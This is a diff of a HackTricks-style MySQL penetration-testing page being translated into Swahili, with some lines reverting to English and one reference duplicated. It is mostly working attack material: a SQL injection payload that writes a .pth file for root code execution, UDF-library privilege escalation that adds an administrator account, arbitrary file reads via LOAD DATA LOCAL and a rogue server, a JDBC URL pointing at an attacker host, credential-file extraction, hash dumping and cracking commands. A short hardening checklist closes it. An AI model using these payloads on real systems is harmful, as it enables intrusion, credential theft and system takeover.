Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sw

src/network-services-pentesting/pentesting-mysql.md

@@ -2,11 +2,11 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## **Basic Information**
+## **Taarifa za Msingi**
 
-**MySQL** inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi (RDBMS) ambao upatikana bure. Inafanya kazi kwenye **Lugha ya Maswali Iliyoandikwa (SQL)**, ikiruhusu usimamizi na uendeshaji wa hifadhidata.
+**MySQL** inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi **(RDBMS)** ambao upatikana bure. Inafanya kazi kwenye **Lugha ya Maswali Iliyoandikwa (SQL)**, ikiruhusu usimamizi na uendeshaji wa hifadhidata.
 
-**Bandari ya kawaida:** 3306
+**Bandari ya Kawaida:** 3306
 ```
 3306/tcp open  mysql
 ```
@@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
 ```
 ## External Enumeration
 
-Baadhi ya hatua za kuhesabu zinahitaji akreditif halali
+Baadhi ya hatua za kuhesabu zinahitaji akreditif sahihi
 ```bash
 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 msf> use auxiliary/scanner/mysql/mysql_version
@@ -115,7 +115,7 @@ Kwa kutumia primitive ya jadi `INTO OUTFILE`, inawezekana kupata *utendaji wa ms
 
 1. Tumia `INTO OUTFILE` kuacha faili maalum **`.pth`** ndani ya saraka yoyote inayopakuliwa kiotomatiki na `site.py` (mfano `.../lib/python3.10/site-packages/`).
 2. Faili ya `.pth` inaweza kuwa na *mstari mmoja* unaoanza na `import ` ikifuatiwa na msimbo wa Python wa kiholela ambao utaanzishwa kila wakati mfasiri anapoanza.
-3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`), mzigo unatekelezwa kwa ruhusa sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama **root** → RCE kamili kabla ya uthibitishaji).
+3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`), mzigo unatekelezwa kwa ruhusa sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama **root** → RCE kamili kabla ya uthibitisho).
 
 Mfano wa mzigo wa `.pth` (mstari mmoja, hakuna nafasi zinazoweza kujumuishwa katika mzigo wa mwisho wa SQL, hivyo hex/`UNHEX()` au kuunganisha nyuzi kunaweza kuhitajika):
 ```python
@@ -125,12 +125,12 @@ Mfano wa kuunda faili kupitia **UNION** query (herufi za nafasi zimebadilishwa n
 ```sql
 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 ```
-Mipaka muhimu na njia za kupita:
+Important limitations & bypasses:
 
 * `INTO OUTFILE` **haiwezi kufuta** faili zilizopo; chagua jina jipya la faili.
 * Njia ya faili inatatuliwa **kuhusiana na CWD ya MySQL**, hivyo kuongeza `../../` husaidia kupunguza njia na kupita vizuizi vya njia kamili.
 * Ikiwa ingizo la mshambuliaji linachukuliwa kwa `%128s` (au sawa) nafasi yoyote itakata payload; tumia mfuatano wa maoni ya MySQL `/**/` au `/*!*/` kubadilisha nafasi.
-* Mtumiaji wa MySQL anayekimbia ombi anahitaji kibali cha `FILE`, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
+* Mtumiaji wa MySQL anayekimbia ombi anahitaji ruhusa ya `FILE`, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
 
 Baada ya kuacha `.pth`, omba tu CGI yoyote inayoshughulikiwa na tafsiri ya python ili kupata utekelezaji wa msimbo:
 ```
@@ -146,9 +146,9 @@ uid=0(root) gid=0(root) groups=0(root)
 ```
 ---
 
-## MySQL kusoma faili bila mpangilio na mteja
+## MySQL kusoma faili kwa hiari na mteja
 
-Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** yaliyomo kwenye **faili**, seva ya MySQL au MariaDB inamwomba **mteja kuisoma** na kutuma yaliyomo. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili bila mpangilio.**\
+Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** yaliyomo kwenye **faili**, seva ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma yaliyomo. **Basi, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili za hiari.**\
 Tafadhali zingatia kwamba hii ni tabia inayotumika:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@@ -186,7 +186,7 @@ Katika usanidi wa huduma za MySQL, mipangilio mbalimbali inatumika kufafanua uen
 - **`admin_address`** inaelezea anwani ya IP inayosikiliza kwa muunganisho wa TCP/IP kwenye kiolesura cha mtandao wa usimamizi.
 - Kigezo cha **`debug`** kinaashiria usanidi wa sasa wa urekebishaji, ikiwa ni pamoja na taarifa nyeti ndani ya kumbukumbu.
 - **`sql_warnings`** inasimamia ikiwa nyuzi za taarifa zinaundwa kwa taarifa za INSERT za safu moja wakati onyo linatokea, zikiwa na data nyeti ndani ya kumbukumbu.
-- Pamoja na **`secure_file_priv`**, upeo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuboresha usalama.
+- Pamoja na **`secure_file_priv`**, upeo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuimarisha usalama.
 
 ### Privilege escalation
 ```bash
@@ -208,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 ```
 ### Privilege Escalation via library
 
-Ikiwa **mysql server inafanya kazi kama root** (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia **user defined functions**. Na ili kuunda user defined unahitaji **library** kwa ajili ya OS inayofanya kazi mysql.
+If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
 
-Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya **`locate "*lib_mysqludf_sys*"`**. Faili za **`.so`** ni **linux** libraries na **`.dll`** ni za **Windows**, chagua ile unayohitaji.
+The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
 
-Ikiwa **huna** hizo libraries, unaweza ama **kutafuta** au kupakua hii [**linux C code**](https://www.exploit-db.com/exploits/1518) na **kuikamilisha ndani ya mashine ya linux yenye udhaifu**:
+If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
 ```bash
 gcc -g -c raptor_udf2.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 ```
-Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na fuata hatua zifuatazo:
+Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na ufuate hatua zifuatazo:
 
 #### Linux
 ```sql
@@ -251,7 +251,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 SELECT sys_exec("net user npn npn12345678 /add");
 SELECT sys_exec("net localgroup Administrators npn /add");
 ```
-### Kutolewa kwa hati za MySQL kutoka kwa faili
+### Kutolewa kwa akidi za MySQL kutoka kwa faili
 
 Ndani ya _/etc/mysql/debian.cnf_ unaweza kupata **nenosiri la maandiko** la mtumiaji **debian-sys-maint**
 ```bash
@@ -265,13 +265,13 @@ Unaweza kuzitoa kwa kufanya:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
-### Kuwezesha uandishi wa kumbukumbu
+### Kuanzisha uandishi wa kumbukumbu
 
-Unaweza kuwezesha uandishi wa kumbukumbu za mysql queries ndani ya `/etc/mysql/my.cnf` kwa kufungua mistari ifuatayo:
+Unaweza kuanzisha uandishi wa kumbukumbu wa maswali ya mysql ndani ya `/etc/mysql/my.cnf` kwa kuondoa alama za maoni kwenye mistari ifuatayo:
 
 ![](<../images/image (899).png>)
 
-### Faili za Manufaa
+### Faili muhimu
 
 Faili za Usanidi
 
@@ -615,7 +615,7 @@ x$waits_global_by_latency
 {{#endtab}}
 {{#endtabs}}
 
-## HackTricks Amri za Otomatiki
+## Amri za Kiotomatiki za HackTricks
 ```
 Protocol_Name: MySql    #Protocol Abbreviation if there is one.
 Port_Number:  3306     #Comma separated if there is more than one.
@@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
 
 ```
-## Marejeo
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+## 2023-2025 Highlights (new)
+
+### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
+Kuanzia Connector/J <= 8.0.32 mshambuliaji ambaye anaweza kuathiri **JDBC URL** (kwa mfano katika programu za wahusika wengine zinazohitaji mfuatano wa muunganisho) anaweza kuomba madarasa yasiyo na mipaka kupakiwa upande wa *mteja* kupitia parameter ya `propertiesTransform`. Ikiwa gadget iliyopo kwenye njia ya darasa inaweza kupakiwa, hii inasababisha **utendaji wa msimbo wa mbali katika muktadha wa mteja wa JDBC** (kabla ya uthibitisho, kwa sababu hakuna akidi halali zinazohitajika). PoC ndogo inaonekana kama:
+```java
+jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
+```
+Kukimbia `Evil.class` kunaweza kuwa rahisi kama kuifanya iwe kwenye class-path ya programu iliyo hatarini au kuacha seva ya MySQL isiyo na adabu itume kitu kibaya kilichosawazishwa. Tatizo lilitatuliwa katika Connector/J 8.0.33 – sasisha dereva au weka wazi `propertiesTransform` kwenye orodha ya ruhusa.
+(Tazama andiko la Snyk kwa maelezo)
+
+### Mashambulizi ya seva ya MySQL isiyo na adabu / bandia dhidi ya wateja wa JDBC
+Zana kadhaa za chanzo wazi zinafanya kazi ya *sehemu* ya itifaki ya MySQL ili kushambulia wateja wa JDBC wanaounganisha nje:
+
+* **mysql-fake-server** (Java, inasaidia kusoma faili na unyonyaji wa deserialization)
+* **rogue_mysql_server** (Python, uwezo sawa)
+
+Njia za kawaida za shambulio:
+
+1. Programu ya mwathirika inapoleta `mysql-connector-j` na `allowLoadLocalInfile=true` au `autoDeserialize=true`.
+2. Mshambuliaji anadhibiti DNS / kuingia kwa mwenyeji ili jina la mwenyeji wa DB liweze kutatua kwenye mashine chini ya udhibiti wao.
+3. Seva mbaya inajibu na pakiti zilizoundwa ambazo zinaanzisha ama `LOCAL INFILE` kusoma faili isiyo na mipaka au deserialization ya Java → RCE.
+
+Mfano wa mstari mmoja kuanzisha seva bandia (Java):
+```bash
+java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
+```
+Kisha elekeza programu ya mwathirika kwa `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` na usome `/etc/passwd` kwa kuandika jina la faili kama base64 katika uwanja wa *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+
+### Kufungua `caching_sha2_password` hashes
+MySQL ≥ 8.0 inahifadhi hash za nywila kama **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) na John-the-Ripper (`--format=mysql-sha2`) zinasaidia kufungua kwa mbali tangu 2023. Dump the `authentication_string` column and feed it directly:
+```bash
+# extract hashes
+echo "$mysql-sha2$AABBCC…" > hashes.txt
+# Hashcat
+hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
+# John the Ripper
+john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
+```
+### Orodha ya kuimarisha (2025)
+• Weka **`LOCAL_INFILE=0`** na **`--secure-file-priv=/var/empty`** kuua sehemu nyingi za kusoma/kandika faili.  
+• Ondoa ruhusa ya **`FILE`** kutoka kwa akaunti za programu.  
+• Kwenye Connector/J weka `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (bila kitu).  
+• Zima nyongeza zisizotumika za uthibitishaji na **hitaji TLS** (`require_secure_transport = ON`).  
+• Fuata kwa `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` na matamko ya ghafla ya `SET GLOBAL`.  
+
+---
+
+## Marejeleo
+- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)  
+- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)  
+- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)  
+
+- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)  
 
 {{#include ../banners/hacktricks-training.md}}